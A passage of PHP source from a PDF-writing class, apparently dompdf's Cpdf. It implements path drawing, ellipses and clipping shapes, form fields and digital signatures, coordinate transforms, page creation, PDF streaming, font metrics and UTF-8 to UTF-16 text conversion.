     * @param float $astart
     * @param float $afinish
     */
    function filledEllipse($x0, $y0, $r1, $r2 = 0, $angle = 0, $nSeg = 8, $astart = 0, $afinish = 360)
    {
        $this->ellipse($x0, $y0, $r1, $r2, $angle, $nSeg, $astart, $afinish, true, true);
    }

    /**
     * @param float $x
     * @param float $y
     */
    function lineTo($x, $y)
    {
        $this->addContent(sprintf("\n%.3F %.3F l", $x, $y));
    }

    /**
     * @param float $x
     * @param float $y
     */
    function moveTo($x, $y)
    {
        $this->addContent(sprintf("\n%.3F %.3F m", $x, $y));
    }

    /**
     * draw a bezier curve based on 4 control points
     *
     * @param float $x1
     * @param float $y1
     * @param float $x2
     * @param float $y2
     * @param float $x3
     * @param float $y3
     */
    function curveTo($x1, $y1, $x2, $y2, $x3, $y3)
    {
        $this->addContent(sprintf("\n%.3F %.3F %.3F %.3F %.3F %.3F c", $x1, $y1, $x2, $y2, $x3, $y3));
    }

    /**
     * draw a bezier curve based on 4 control points
     *
     * @param float $cpx
     * @param float $cpy
     * @param float $x
     * @param float $y
     */
    function quadTo($cpx, $cpy, $x, $y)
    {
        $this->addContent(sprintf("\n%.3F %.3F %.3F %.3F v", $cpx, $cpy, $x, $y));
    }

    function closePath()
    {
        $this->addContent(' h');
    }

    function endPath()
    {
        $this->addContent(' n');
    }

    /**
     * draw an ellipse
     * note that the part and filled ellipse are just special cases of this function
     *
     * draws an ellipse in the current line style
     * centered at $x0,$y0, radii $r1,$r2
     * if $r2 is not set, then a circle is drawn
     * from $astart to $afinish, measured in degrees, running anti-clockwise from the right hand side of the ellipse.
     * nSeg is not allowed to be less than 2, as this will simply draw a line (and will even draw a
     * pretty crappy shape at 2, as we are approximating with bezier curves.
     *
     * @param float $x0
     * @param float $y0
     * @param float $r1
     * @param float $r2
     * @param float $angle
     * @param int   $nSeg
     * @param float $astart
     * @param float $afinish
     * @param bool  $close
     * @param bool  $fill
     * @param bool  $stroke
     * @param bool  $incomplete
     */
    function ellipse(
        $x0,
        $y0,
        $r1,
        $r2 = 0,
        $angle = 0,
        $nSeg = 8,
        $astart = 0,
        $afinish = 360,
        $close = true,
        $fill = false,
        $stroke = true,
        $incomplete = false
    ) {
        if ($r1 == 0) {
            return;
        }

        if ($r2 == 0) {
            $r2 = $r1;
        }

        if ($nSeg < 2) {
            $nSeg = 2;
        }

        $astart = deg2rad((float)$astart);
        $afinish = deg2rad((float)$afinish);
        $totalAngle = $afinish - $astart;

        $dt = $totalAngle / $nSeg;
        $dtm = $dt / 3;

        if ($angle != 0) {
            $a = -1 * deg2rad((float)$angle);

            $this->addContent(
                sprintf("\n q %.3F %.3F %.3F %.3F %.3F %.3F cm", cos($a), -sin($a), sin($a), cos($a), $x0, $y0)
            );

            $x0 = 0;
            $y0 = 0;
        }

        $t1 = $astart;
        $a0 = $x0 + $r1 * cos($t1);
        $b0 = $y0 + $r2 * sin($t1);
        $c0 = -$r1 * sin($t1);
        $d0 = $r2 * cos($t1);

        if (!$incomplete) {
            $this->addContent(sprintf("\n%.3F %.3F m ", $a0, $b0));
        }

        for ($i = 1; $i <= $nSeg; $i++) {
            // draw this bit of the total curve
            $t1 = $i * $dt + $astart;
            $a1 = $x0 + $r1 * cos($t1);
            $b1 = $y0 + $r2 * sin($t1);
            $c1 = -$r1 * sin($t1);
            $d1 = $r2 * cos($t1);

            $this->addContent(
                sprintf(
                    "\n%.3F %.3F %.3F %.3F %.3F %.3F c",
                    ($a0 + $c0 * $dtm),
                    ($b0 + $d0 * $dtm),
                    ($a1 - $c1 * $dtm),
                    ($b1 - $d1 * $dtm),
                    $a1,
                    $b1
                )
            );

            $a0 = $a1;
            $b0 = $b1;
            $c0 = $c1;
            $d0 = $d1;
        }

        if (!$incomplete) {
            if ($fill) {
                $this->addContent(' f');
            }

            if ($stroke) {
                if ($close) {
                    $this->addContent(' s'); // small 's' signifies closing the path as well
                } else {
                    $this->addContent(' S');
                }
            }
        }

        if ($angle != 0) {
            $this->addContent(' Q');
        }
    }

    /**
     * this sets the line drawing style.
     * width, is the thickness of the line in user units
     * cap is the type of cap to put on the line, values can be 'butt','round','square'
     *    where the diffference between 'square' and 'butt' is that 'square' projects a flat end past the
     *    end of the line.
     * join can be 'miter', 'round', 'bevel'
     * dash is an array which sets the dash pattern, is a series of length values, which are the lengths of the
     *   on and off dashes.
     *   (2) represents 2 on, 2 off, 2 on , 2 off ...
     *   (2,1) is 2 on, 1 off, 2 on, 1 off.. etc
     * phase is a modifier on the dash pattern which is used to shift the point at which the pattern starts.
     *
     * @param float  $width
     * @param string $cap
     * @param string $join
     * @param array  $dash
     * @param int    $phase
     */
    function setLineStyle($width = 1, $cap = '', $join = '', $dash = '', $phase = 0)
    {
        // this is quite inefficient in that it sets all the parameters whenever 1 is changed, but will fix another day
        $string = '';

        if ($width > 0) {
            $string .= "$width w";
        }

        $ca = ['butt' => 0, 'round' => 1, 'square' => 2];

        if (isset($ca[$cap])) {
            $string .= " $ca[$cap] J";
        }

        $ja = ['miter' => 0, 'round' => 1, 'bevel' => 2];

        if (isset($ja[$join])) {
            $string .= " $ja[$join] j";
        }

        if (is_array($dash)) {
            $string .= ' [ ' . implode(' ', $dash) . " ] $phase d";
        }

        $this->currentLineStyle = $string;
        $this->addContent("\n$string");
    }

    /**
     * draw a polygon, the syntax for this is similar to the GD polygon command
     *
     * @param float[] $p
     * @param bool    $fill
     */
    public function polygon(array $p, bool $fill = false): void
    {
        $this->addContent(sprintf("\n%.3F %.3F m ", $p[0], $p[1]));

        $n = count($p);
        for ($i = 2; $i < $n; $i = $i + 2) {
            $this->addContent(sprintf("%.3F %.3F l ", $p[$i], $p[$i + 1]));
        }

        if ($fill) {
            $this->addContent(' f');
        } else {
            $this->addContent(' S');
        }
    }

    /**
     * a filled rectangle, note that it is the width and height of the rectangle which are the secondary parameters, not
     * the coordinates of the upper-right corner
     *
     * @param float $x1
     * @param float $y1
     * @param float $width
     * @param float $height
     */
    function filledRectangle($x1, $y1, $width, $height)
    {
        $this->addContent(sprintf("\n%.3F %.3F %.3F %.3F re f", $x1, $y1, $width, $height));
    }

    /**
     * draw a rectangle, note that it is the width and height of the rectangle which are the secondary parameters, not
     * the coordinates of the upper-right corner
     *
     * @param float $x1
     * @param float $y1
     * @param float $width
     * @param float $height
     */
    function rectangle($x1, $y1, $width, $height)
    {
        $this->addContent(sprintf("\n%.3F %.3F %.3F %.3F re S", $x1, $y1, $width, $height));
    }

    /**
     * draw a rectangle, note that it is the width and height of the rectangle which are the secondary parameters, not
     * the coordinates of the upper-right corner
     *
     * @param float $x1
     * @param float $y1
     * @param float $width
     * @param float $height
     */
    function rect($x1, $y1, $width, $height)
    {
        $this->addContent(sprintf("\n%.3F %.3F %.3F %.3F re", $x1, $y1, $width, $height));
    }

    function stroke(bool $close = false)
    {
        $this->addContent("\n" . ($close ? "s" : "S"));
    }

    function fill()
    {
        $this->addContent("\nf" . ($this->fillRule === "evenodd" ? "*" : ""));
    }

    function fillStroke(bool $close = false)
    {
        $this->addContent("\n" . ($close ? "b" : "B") . ($this->fillRule === "evenodd" ? "*" : ""));
    }

    /**
     * @param string $subtype
     * @param integer $x
     * @param integer $y
     * @param integer $w
     * @param integer $h
     * @return int
     */
    function addXObject($subtype, $x, $y, $w, $h)
    {
        $id = ++$this->numObj;
        $this->o_xobject($id, 'new', ['Subtype' => $subtype, 'bbox' => [$x, $y, $w, $h]]);
        return $id;
    }

    /**
     * @param integer $numXObject
     * @param string $type
     * @param array $options
     */
    function setXObjectResource($numXObject, $type, $options)
    {
        if (in_array($type, ['procset', 'font', 'xObject'])) {
            $this->o_xobject($numXObject, $type, $options);
        }
    }

    /**
     * add signature
     *
     * $fieldSigId = $cpdf->addFormField(Cpdf::ACROFORM_FIELD_SIG, 'Signature1', 0, 0, 0, 0, 0);
     *
     * $signatureId = $cpdf->addSignature([
     *   'signcert' => file_get_contents('dompdf.crt'),
     *   'privkey' => file_get_contents('dompdf.key'),
     *   'password' => 'password',
     *   'name' => 'DomPDF DEMO',
     *   'location' => 'Home',
     *   'reason' => 'First Form',
     *   'contactinfo' => 'info'
     * ]);
     * $cpdf->setFormFieldValue($fieldSigId, "$signatureId 0 R");
     *
     * @param string $signcert
     * @param string $privkey
     * @param string $password
     * @param string|null $name
     * @param string|null $location
     * @param string|null $reason
     * @param string|null $contactinfo
     * @return int
     */
    function addSignature($signcert, $privkey, $password = '', $name = null, $location = null, $reason = null, $contactinfo = null) {
        $sigId = ++$this->numObj;
        $this->o_sig($sigId, 'new', [
          'SignCert' => $signcert,
          'PrivKey' => $privkey,
          'Password' => $password,
          'Name' => $name,
          'Location' => $location,
          'Reason' => $reason,
          'ContactInfo' => $contactinfo
        ]);

        return $sigId;
    }

    /**
     * add field to form
     *
     * @param string $type ACROFORM_FIELD_*
     * @param string $name
     * @param $x0
     * @param $y0
     * @param $x1
     * @param $y1
     * @param integer $ff Field Flag ACROFORM_FIELD_*_*
     * @param float $size
     * @param array $color
     * @return int
     */
    public function addFormField($type, $name, $x0, $y0, $x1, $y1, $ff = 0, $size = 10.0, $color = [0, 0, 0])
    {
        if (!$this->numFonts) {
            $this->selectFont($this->defaultFont);
        }

        $color = implode(' ', $color) . ' rg';

        $currentFontNum = $this->currentFontNum;
        $font = array_filter(
            $this->objects[$this->currentNode]['info']['fonts'],
            function ($item) use ($currentFontNum) { return $item['fontNum'] == $currentFontNum; }
        );

        $this->o_acroform($this->acroFormId, 'font',
          ['objNum' => $font[0]['objNum'], 'fontNum' => $font[0]['fontNum']]);

        $fieldId = ++$this->numObj;
        $this->o_field($fieldId, 'new', [
          'rect' => [$x0, $y0, $x1, $y1],
          'F' => 4,
          'FT' => "/$type",
          'T' => $name,
          'Ff' => $ff,
          'pageid' => $this->currentPage,
          'da' => "$color /F$this->currentFontNum " . sprintf('%.1F Tf ', $size)
        ]);

        return $fieldId;
    }

    /**
     * set Field value
     *
     * @param integer $numFieldObj
     * @param string $value
     */
    public function setFormFieldValue($numFieldObj, $value)
    {
        $this->o_field($numFieldObj, 'set', ['value' => $value]);
    }

    /**
     * set Field value (reference)
     *
     * @param integer $numFieldObj
     * @param integer $numObj Object number
     */
    public function setFormFieldRefValue($numFieldObj, $numObj)
    {
        $this->o_field($numFieldObj, 'set', ['refvalue' => $numObj]);
    }

    /**
     * set Field Appearanc (reference)
     *
     * @param integer $numFieldObj
     * @param integer $normalNumObj
     * @param integer|null $rolloverNumObj
     * @param integer|null $downNumObj
     */
    public function setFormFieldAppearance($numFieldObj, $normalNumObj, $rolloverNumObj = null, $downNumObj = null)
    {
        $appearance['N'] = $normalNumObj;

        if ($rolloverNumObj !== null) {
            $appearance['R'] = $rolloverNumObj;
        }

        if ($downNumObj !== null) {
            $appearance['D'] = $downNumObj;
        }

        $this->o_field($numFieldObj, 'set', ['appearance' => $appearance]);
    }

    /**
     * set Choice Field option values
     *
     * @param integer $numFieldObj
     * @param array $value
     */
    public function setFormFieldOpt($numFieldObj, $value)
    {
        $this->o_field($numFieldObj, 'set', ['options' => $value]);
    }

    /**
     * add form to document
     *
     * @param integer $sigFlags
     * @param boolean $needAppearances
     */
    public function addForm($sigFlags = 0, $needAppearances = false)
    {
        $this->acroFormId = ++$this->numObj;
        $this->o_acroform($this->acroFormId, 'new', [
          'NeedAppearances' => $needAppearances ? 'true' : 'false',
          'SigFlags' => $sigFlags
        ]);
    }

    /**
     * save the current graphic state
     */
    function save()
    {
        // we must reset the color cache or it will keep bad colors after clipping
        $this->currentColor = null;
        $this->currentStrokeColor = null;
        $this->addContent("\nq");
    }

    /**
     * restore the last graphic state
     */
    function restore()
    {
        // we must reset the color cache or it will keep bad colors after clipping
        $this->currentColor = null;
        $this->currentStrokeColor = null;
        $this->addContent("\nQ");
    }

    /**
     * draw a clipping rectangle, all the elements added after this will be clipped
     *
     * @param float $x1
     * @param float $y1
     * @param float $width
     * @param float $height
     */
    function clippingRectangle($x1, $y1, $width, $height)
    {
        $this->save();
        $this->addContent(sprintf("\n%.3F %.3F %.3F %.3F re W n", $x1, $y1, $width, $height));
    }

    /**
     * draw a clipping rounded rectangle, all the elements added after this will be clipped
     *
     * @param float $x1
     * @param float $y1
     * @param float $w
     * @param float $h
     * @param float $rTL
     * @param float $rTR
     * @param float $rBR
     * @param float $rBL
     */
    function clippingRectangleRounded($x1, $y1, $w, $h, $rTL, $rTR, $rBR, $rBL)
    {
        $this->save();

        // start: top edge, left end
        $this->addContent(sprintf("\n%.3F %.3F m ", $x1, $y1 - $rTL + $h));

        // line: bottom edge, left end
        $this->addContent(sprintf("\n%.3F %.3F l ", $x1, $y1 + $rBL));

        // curve: bottom-left corner
        $this->ellipse($x1 + $rBL, $y1 + $rBL, $rBL, 0, 0, 8, 180, 270, false, false, false, true);

        // line: right edge, bottom end
        $this->addContent(sprintf("\n%.3F %.3F l ", $x1 + $w - $rBR, $y1));

        // curve: bottom-right corner
        $this->ellipse($x1 + $w - $rBR, $y1 + $rBR, $rBR, 0, 0, 8, 270, 360, false, false, false, true);

        // line: right edge, top end
        $this->addContent(sprintf("\n%.3F %.3F l ", $x1 + $w, $y1 + $h - $rTR));

        // curve: bottom-right corner
        $this->ellipse($x1 + $w - $rTR, $y1 + $h - $rTR, $rTR, 0, 0, 8, 0, 90, false, false, false, true);

        // line: bottom edge, right end
        $this->addContent(sprintf("\n%.3F %.3F l ", $x1 + $rTL, $y1 + $h));

        // curve: top-right corner
        $this->ellipse($x1 + $rTL, $y1 + $h - $rTL, $rTL, 0, 0, 8, 90, 180, false, false, false, true);

        // line: top edge, left end
        $this->addContent(sprintf("\n%.3F %.3F l ", $x1 + $rBL, $y1));

        // Close & clip
        $this->addContent(" W n");
    }

    /**
     * draw a clipping polygon, the syntax for this is similar to the GD polygon command
     *
     * @param float[] $p
     */
    public function clippingPolygon(array $p): void
    {
        $this->save();

        $this->addContent(sprintf("\n%.3F %.3F m ", $p[0], $p[1]));

        $n = count($p);
        for ($i = 2; $i < $n; $i = $i + 2) {
            $this->addContent(sprintf("%.3F %.3F l ", $p[$i], $p[$i + 1]));
        }

        $this->addContent("W n");
    }

    /**
     * ends the last clipping shape
     */
    function clippingEnd()
    {
        $this->restore();
    }

    /**
     * scale
     *
     * @param float $s_x scaling factor for width as percent
     * @param float $s_y scaling factor for height as percent
     * @param float $x   Origin abscissa
     * @param float $y   Origin ordinate
     */
    function scale($s_x, $s_y, $x, $y)
    {
        $y = $this->currentPageSize["height"] - $y;

        $tm = [
            $s_x,
            0,
            0,
            $s_y,
            $x * (1 - $s_x),
            $y * (1 - $s_y)
        ];

        $this->transform($tm);
    }

    /**
     * translate
     *
     * @param float $t_x movement to the right
     * @param float $t_y movement to the bottom
     */
    function translate($t_x, $t_y)
    {
        $tm = [
            1,
            0,
            0,
            1,
            $t_x,
            -$t_y
        ];

        $this->transform($tm);
    }

    /**
     * rotate
     *
     * @param float $angle angle in degrees for counter-clockwise rotation
     * @param float $x     Origin abscissa
     * @param float $y     Origin ordinate
     */
    function rotate($angle, $x, $y)
    {
        $y = $this->currentPageSize["height"] - $y;

        $a = deg2rad($angle);
        $cos_a = cos($a);
        $sin_a = sin($a);

        $tm = [
            $cos_a,
            -$sin_a,
            $sin_a,
            $cos_a,
            $x - $sin_a * $y - $cos_a * $x,
            $y - $cos_a * $y + $sin_a * $x,
        ];

        $this->transform($tm);
    }

    /**
     * skew
     *
     * @param float $angle_x
     * @param float $angle_y
     * @param float $x Origin abscissa
     * @param float $y Origin ordinate
     */
    function skew($angle_x, $angle_y, $x, $y)
    {
        $y = $this->currentPageSize["height"] - $y;

        $tan_x = tan(deg2rad($angle_x));
        $tan_y = tan(deg2rad($angle_y));

        $tm = [
            1,
            -$tan_y,
            -$tan_x,
            1,
            $tan_x * $y,
            $tan_y * $x,
        ];

        $this->transform($tm);
    }

    /**
     * apply graphic transformations
     *
     * @param array $tm transformation matrix
     */
    function transform($tm)
    {
        $this->addContent(vsprintf("\n %.3F %.3F %.3F %.3F %.3F %.3F cm", $tm));
    }

    /**
     * add a new page to the document
     * this also makes the new page the current active object
     *
     * @param int $insert
     * @param int $id
     * @param string $pos
     * @return int
     */
    function newPage($insert = 0, $id = 0, $pos = 'after')
    {
        // if there is a state saved, then go up the stack closing them
        // then on the new page, re-open them with the right setings

        if ($this->nStateStack) {
            for ($i = $this->nStateStack; $i >= 1; $i--) {
                $this->restoreState($i);
            }
        }

        $this->numObj++;

        if ($insert) {
            // the id from the ezPdf class is the id of the contents of the page, not the page object itself
            // query that object to find the parent
            $rid = $this->objects[$id]['onPage'];
            $opt = ['rid' => $rid, 'pos' => $pos];
            $this->o_page($this->numObj, 'new', $opt);
        } else {
            $this->o_page($this->numObj, 'new');
        }

        // if there is a stack saved, then put that onto the page
        if ($this->nStateStack) {
            for ($i = 1; $i <= $this->nStateStack; $i++) {
                $this->saveState($i);
            }
        }

        // and if there has been a stroke or fill color set, then transfer them
        if (isset($this->currentColor)) {
            $this->setColor($this->currentColor, true);
        }

        if (isset($this->currentStrokeColor)) {
            $this->setStrokeColor($this->currentStrokeColor, true);
        }

        // if there is a line style set, then put this in too
        if (mb_strlen($this->currentLineStyle, '8bit')) {
            $this->addContent("\n$this->currentLineStyle");
        }

        // the call to the o_page object set currentContents to the present page, so this can be returned as the page id
        return $this->currentContents;
    }

    /**
     * Streams the PDF to the client.
     *
     * @param string $filename The filename to present to the client.
     * @param array $options Associative array: 'compress' => 1 or 0 (default 1); 'Attachment' => 1 or 0 (default 1).
     */
    function stream($filename = "document.pdf", $options = [])
    {
        if (headers_sent()) {
            die("Unable to stream pdf: headers already sent");
        }

        if (!isset($options["compress"])) $options["compress"] = true;
        if (!isset($options["Attachment"])) $options["Attachment"] = true;

        $debug = !$options['compress'];
        $tmp = ltrim($this->output($debug));

        header("Cache-Control: private");
        header("Content-Type: application/pdf");
        header("Content-Length: " . mb_strlen($tmp, "8bit"));

        $filename = str_replace(["\n", "'"], "", basename($filename, ".pdf")) . ".pdf";
        $attachment = $options["Attachment"] ? "attachment" : "inline";

        $encoding = mb_detect_encoding($filename);
        $fallbackfilename = mb_convert_encoding($filename, "ISO-8859-1", $encoding);
        $fallbackfilename = str_replace("\"", "", $fallbackfilename);
        $encodedfilename = rawurlencode($filename);

        $contentDisposition = "Content-Disposition: $attachment; filename=\"$fallbackfilename\"";
        if ($fallbackfilename !== $filename) {
            $contentDisposition .= "; filename*=UTF-8''$encodedfilename";
        }
        header($contentDisposition);

        echo $tmp;
        flush();
    }

    /**
     * return the height in units of the current font in the given size
     *
     * @param float $size
     *
     * @return float
     */
    public function getFontHeight(float $size): float
    {
        if (!$this->numFonts) {
            $this->selectFont($this->defaultFont);
        }

        $font = $this->fonts[$this->currentFont];

        // for the current font, and the given size, what is the height of the font in user units
        if (isset($font['Ascender']) && isset($font['Descender'])) {
            $h = $font['Ascender'] - $font['Descender'];
        } else {
            $h = $font['FontBBox'][3] - $font['FontBBox'][1];
        }

        // have to adjust by a font offset for Windows fonts.  unfortunately it looks like
        // the bounding box calculations are wrong and I don't know why.
        if (isset($font['FontHeightOffset'])) {
            // For CourierNew from Windows this needs to be -646 to match the
            // Adobe native Courier font.
            //
            // For FreeMono from GNU this needs to be -337 to match the
            // Courier font.
            //
            // Both have been added manually to the .afm and .ufm files.
            $h += (int)$font['FontHeightOffset'];
        }

        return $size * $h / 1000;
    }

    /**
     * @param float $size
     *
     * @return float
     */
    public function getFontXHeight(float $size): float
    {
        if (!$this->numFonts) {
            $this->selectFont($this->defaultFont);
        }

        $font = $this->fonts[$this->currentFont];

        // for the current font, and the given size, what is the height of the font in user units
        if (isset($font['XHeight'])) {
            $xh = $font['Ascender'] - $font['Descender'];
        } else {
            $xh = $this->getFontHeight($size) / 2;
        }

        return $size * $xh / 1000;
    }

    /**
     * return the font descender, this will normally return a negative number
     * if you add this number to the baseline, you get the level of the bottom of the font
     * it is in the pdf user units
     *
     * @param float $size
     *
     * @return float
     */
    public function getFontDescender(float $size): float
    {
        // note that this will most likely return a negative value
        if (!$this->numFonts) {
            $this->selectFont($this->defaultFont);
        }

        //$h = $this->fonts[$this->currentFont]['FontBBox'][1];
        $h = $this->fonts[$this->currentFont]['Descender'];

        return $size * $h / 1000;
    }

    /**
     * filter the text, this is applied to all text just before being inserted into the pdf document
     * it escapes the various things that need to be escaped, and so on
     *
     * @param $text
     * @param bool $bom
     * @param bool $convert_encoding
     * @return string
     */
    function filterText($text, $bom = true, $convert_encoding = true)
    {
        if (!$this->numFonts) {
            $this->selectFont($this->defaultFont);
        }

        if ($convert_encoding) {
            $cf = $this->currentFont;
            if (isset($this->fonts[$cf]) && $this->fonts[$cf]['isUnicode']) {
                $text = $this->utf8toUtf16BE($text, $bom);
            } else {
                //$text = html_entity_decode($text, ENT_QUOTES);
                $text = mb_convert_encoding($text, self::$targetEncoding, 'UTF-8');
            }
        } elseif ($bom) {
            $text = $this->utf8toUtf16BE($text, $bom);
        }

        // the chr(13) substitution fixes a bug seen in TCPDF (bug #1421290)
        return strtr($text, [')' => '\\)', '(' => '\\(', '\\' => '\\\\', chr(13) => '\r']);
    }

    /**
     * return array containing codepoints (UTF-8 character values) for the
     * string passed in.
     *
     * based on the excellent TCPDF code by Nicola Asuni and the
     * RFC for UTF-8 at http://www.faqs.org/rfcs/rfc3629.html
     *
     * @param string $text UTF-8 string to process
     * @return array UTF-8 codepoints array for the string
     */
    function utf8toCodePointsArray(&$text)
    {
        $length = mb_strlen($text, '8bit'); // http://www.php.net/manual/en/function.mb-strlen.php#77040
        $unicode = []; // array containing unicode values
        $bytes = []; // array containing single character byte sequences
        $numbytes = 1; // number of octets needed to represent the UTF-8 character

        for ($i = 0; $i < $length; $i++) {
            $c = ord($text[$i]); // get one string character at time
            if (count($bytes) === 0) { // get starting octect
                if ($c <= 0x7F) {
                    $unicode[] = $c; // use the character "as is" because is ASCII
                    $numbytes = 1;
                } elseif (($c >> 0x05) === 0x06) { // 2 bytes character (0x06 = 110 BIN)
                    $bytes[] = ($c - 0xC0) << 0x06;
                    $numbytes = 2;
                } elseif (($c >> 0x04) === 0x0E) { // 3 bytes character (0x0E = 1110 BIN)
                    $bytes[] = ($c - 0xE0) << 0x0C;
                    $numbytes = 3;
                } elseif (($c >> 0x03) === 0x1E) { // 4 bytes character (0x1E = 11110 BIN)
                    $bytes[] = ($c - 0xF0) << 0x12;
                    $numbytes = 4;
                } else {
                    // use replacement character for other invalid sequences
                    $unicode[] = 0xFFFD;
                    $bytes = [];
                    $numbytes = 1;
                }
            } elseif (($c >> 0x06) === 0x02) { // bytes 2, 3 and 4 must start with 0x02 = 10 BIN
                $bytes[] = $c - 0x80;
                if (count($bytes) === $numbytes) {
                    // compose UTF-8 bytes to a single unicode value
                    $c = $bytes[0];
                    for ($j = 1; $j < $numbytes; $j++) {
                        $c += ($bytes[$j] << (($numbytes - $j - 1) * 0x06));
                    }
                    if ((($c >= 0xD800) and ($c <= 0xDFFF)) or ($c >= 0x10FFFF)) {
                        // The definition of UTF-8 prohibits encoding character numbers between
                        // U+D800 and U+DFFF, which are reserved for use with the UTF-16
                        // encoding form (as surrogate pairs) and do not directly represent
                        // characters.
                        $unicode[] = 0xFFFD; // use replacement character
                    } else {
                        $unicode[] = $c; // add char to array
                    }
                    // reset data for next char
                    $bytes = [];
                    $numbytes = 1;
                }
            } else {
                // use replacement character for other invalid sequences
                $unicode[] = 0xFFFD;
                $bytes = [];
                $numbytes = 1;
            }
        }

        return $unicode;
    }

    /**
     * convert UTF-8 to UTF-16 with an additional byte order marker
     * at the front if required.
     *
     * based on the excellent TCPDF code by Nicola Asuni and the
     * RFC for UTF-8 at http://www.faqs.org/rfcs/rfc3629.html
     *
     * @param string  $text UTF-8 string to process
     * @param boolean $bom  whether to add the byte order marker
     * @return string UTF-16 result string
     */
    function utf8toUtf16BE(&$text, $bom = true)
    {
        $out = $bom ? "\xFE\xFF" : '';

        $unicode = $this->utf8toCodePointsArray($text);
        foreach ($unicode as $c) {
            if ($c === 0xFFFD) {
                $out .= "\xFF\xFD"; // replacement character
            } elseif ($c < 0x10000) {
                $out .= chr($c >> 0x08) . chr($c & 0xFF);
            } else {
                $c -= 0x10000;
                $w1 = 0xD800 | ($c >> 0x10);
                $w2 = 0xDC00 | ($c & 0x3FF);
                $out .= chr($w1 >> 0x08) . chr($w1 & 0xFF) . chr($w2 >> 0x08) . chr($w2 & 0xFF);
            }
        }

        return $out;
    }

    /**
     * given a start position and information about how text is to be laid out, calculate where
     * on the page the text will end
     *
     * @param $x
     * @param $y
     * @param $angle
     * @param $size
     * @param $wa
     * @param $text
     * @return array
     */
    private function getTextPosition($x, $y, $angle, $size, $wa, $text)
    {
        // given this information return an array containing x and y for the end position as elements 0 and 1
        $w = $this->getTextWidth($size, $text);

        // need to adjust for the number of spaces in this text
        $words = explode(' ', $text);
        $nspaces = count($words) - 1;
        $w += $wa * $nspaces;
        $a = deg2rad((float)$angle);

        return [cos($a) * $w + $x, -sin($a) * $w + $y];
    }

    /**
     * Callback method used by smallCaps
     *
     * @param array $matches
     *
     * @return string
     */
    function toUpper($matches)
    {
        return mb_strtoupper($matches[0]);
    }

    function concatMatches($matches)
    {
        $str = "";
        foreach ($matches as $match) {
            $str .= $match[0];
        }

        return $str;
    }

    /**
     * register text for font subsetting
     *
     * @param string $font
     * @param string $text
     */
    function registerText($font, $text)
    {
        if (!$this->isUnicode || in_array(mb_strtolower(basename($font)), self::$coreFonts)) {
            return;
        }

        if (!isset($this->stringSubsets[$font])) {
            $base_subset = "\u{fffd}\u{fffe}\u{ffff}";
            $this->stringSubsets[$font] = $this->utf8toCodePointsArray($base_subset);
        }

        $this->stringSubsets[$font] = array_unique(
            array_merge($this->stringSubsets[$font], $this->utf8toCodePointsArray($text))
        );
    }

    /**
     * add text to the document, at a specified location, size and angle on the page
     *
     * @param float  $x
     * @param float  $y
     * @param float  $size
     * @param string $text
     * @param float  $angle
     * @param float  $wordSpaceAdjust
     * @param float  $charSpaceAdjust
     * @param bool   $smallCaps
     */
    function addText($x, $y, $size, $text, $angle = 0, $wordSpaceAdjust = 0, $charSpaceAdjust = 0, $smallCaps = false)
    {
        if (!$this->numFonts) {
            $this->selectFont($this->defaultFont);
        }

        $text = str_replace(["\r", "\n"], "", $text);

        // if ($smallCaps) {
        //     preg_match_all("/(\P{Ll}+)/u", $text, $matches, PREG_SET_ORDER);
        //     $lower = $this->concatMatches($matches);
        //     d($lower);

        //     preg_match_all("/(\p{Ll}+)/u", $text, $matches, PREG_SET_ORDER);
        //     $other = $this->concatMatches($matches);
        //     d($other);

        //     $text = preg_replace_callback("/\p{Ll}/u", array($this, "toUpper"), $text);
        // }

        // if there are any open callbacks, then they should be called, to show the start of the line
        if ($this->nCallback > 0) {
            for ($i = $this->nCallback; $i > 0; $i--) {
                // call each function
                $info = [
                    'x'         => $x,
                    'y'         => $y,
                    'angle'     => $angle,
                    'status'    => 'sol',
                    'p'         => $this->callback[$i]['p'],
                    'nCallback' => $this->callback[$i]['nCallback'],
                    'height'    => $this->callback[$i]['height'],
                    'descender' => $this->callback[$i]['descender']
                ];

                $func = $this->callback[$i]['f'];
                $this->$func($info);
            }
        }

        if ($angle == 0) {
            $this->addContent(sprintf("\nBT %.3F %.3F Td", $x, $y));
        } else {
            $a = deg2rad((float)$angle);
            $this->addContent(
                sprintf("\nBT %.3F %.3F %.3F %.3F %.3F %.3F Tm", cos($a), -sin($a), sin($a), cos($a), $x, $y)
            );
        }

        if ($wordSpaceAdjust != 0) {
            $this->addContent(sprintf(" %.3F Tw", $wordSpaceAdjust));
        }

        if ($charSpaceAdjust != 0) {
            $this->addContent(sprintf(" %.3F Tc", $charSpaceAdjust));
        }

        $len = mb_strlen($text);
        $start = 0;

        if ($start < $len) {
            $part = $text; // OAR - Don't need this anymore, given that $start always equals zero.  substr($text, $start);
            $place_text = $this->filterText($part, false);
            // modify unicode text so that extra word spacing is manually implemented (bug #)
            if ($this->fonts[$this->currentFont]['isUnicode'] && $wordSpaceAdjust != 0) {
                $space_scale = 1000 / $size;
                $place_text = str_replace("\x00\x20", "\x00\x20)\x00\x20" . (-round($space_scale * $wordSpaceAdjust)) . "\x00\x20(", $place_text);
            }
            $this->addContent(" /F$this->currentFontNum " . sprintf('%.1F Tf ', $size));
            $this->addContent(" [($place_text)] TJ");
        }

        if ($wordSpaceAdjust != 0) {
            $this->addContent(sprintf(" %.3F Tw", 0));
        }

        if ($charSpaceAdjust != 0) {
            $this->addContent(sprintf(" %.3F Tc", 0));
        }

        $this->addContent(' ET');

        // if there are any open callbacks, then they should be called, to show the end of the line
        if ($this->nCallback > 0) {
            for ($i = $this->nCallback; $i > 0; $i--) {
                // call each function
                $tmp = $this->getTextPosition($x, $y, $angle, $size, $wordSpaceAdjust, $text);
                $info = [
                    'x'         => $tmp[0],
                    'y'         => $tmp[1],
                    'angle'     => $angle,
                    'status'    => 'eol',
                    'p'         => $this->callback[$i]['p'],
                    'nCallback' => $this->callback[$i]['nCallback'],
                    'height'    => $this->callback[$i]['height'],
                    'descender' => $this->callback[$i]['descender']
                ];
                $func = $this->callback[$i]['f'];
                $this->$func($info);
            }
        }

        if ($this->fonts[$this->currentFont]['isSubsetting']) {
            $this->registerText($this->currentFont, $text);
        }
    }

    /**
     * calculate how wide a given text string will be on a page, at a given size.
     * this can be called externally, but is also used by the other class functions
     *
     * @param float  $size
     * @param string $text
     * @param float  $wordSpacing
     * @param float  $charSpacing
     *
     * @return float
     */
    public function getTextWidth(float $size, string $text, float $wordSpacing = 0.0, float $charSpacing = 0.0): float
    {
        static $ord_cache = [];

        // this function should not change any of the settings, though it will need to
        // track any directives which change during calculation, so copy them at the start
        // and put them back at the end.
